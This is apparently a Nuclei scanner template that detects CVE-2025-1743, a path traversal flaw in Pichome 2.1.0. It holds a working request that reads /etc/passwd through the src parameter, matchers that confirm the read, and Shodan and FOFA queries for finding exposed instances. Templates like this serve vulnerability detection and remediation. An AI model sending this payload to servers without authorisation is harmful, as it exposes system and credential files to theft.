Pichome 2.1.0 - Arbitrary File Read

id: CVE-2025-1743

info:
  name: Pichome 2.1.0 - Arbitrary File Read
  author: 3th1c_yuk1
  severity: high
  description: |
    A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server through path traversal in the src parameter, potentially exposing sensitive configuration files, credentials, and user data.
  remediation: |
    Upgrade to Pichome version 2.1.1 or later that properly validates file paths.
  reference:
    - https://github.com/sheratan4/cve/issues/4
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1743
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-22
    cve-id: CVE-2025-1743
    epss-score: 0.0161
    epss-percentile: 0.72995
    cpe: cpe:2.3:a:zyx0814:pichome:2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    shodan-query: title:"PicHome"
    fofa-query: title="PicHome"
    vendor: zyx0814
    product: Pichome
  tags: cve,cve2025,lfi,pichome,zyx0814,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?mod=textviewer&src=file:///etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - ".scrollbar__wrap"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022007eaa60ac4ea26c6b3f0ccb2a422657fd5e6dcf4205cc116540a59a7a58fc37e022100ca8695b464eb9a00ca47a67fed65fe4c4cb9836bca3b756d706f0727cf0368f4:922c64590222798bb761d5b6d8e72950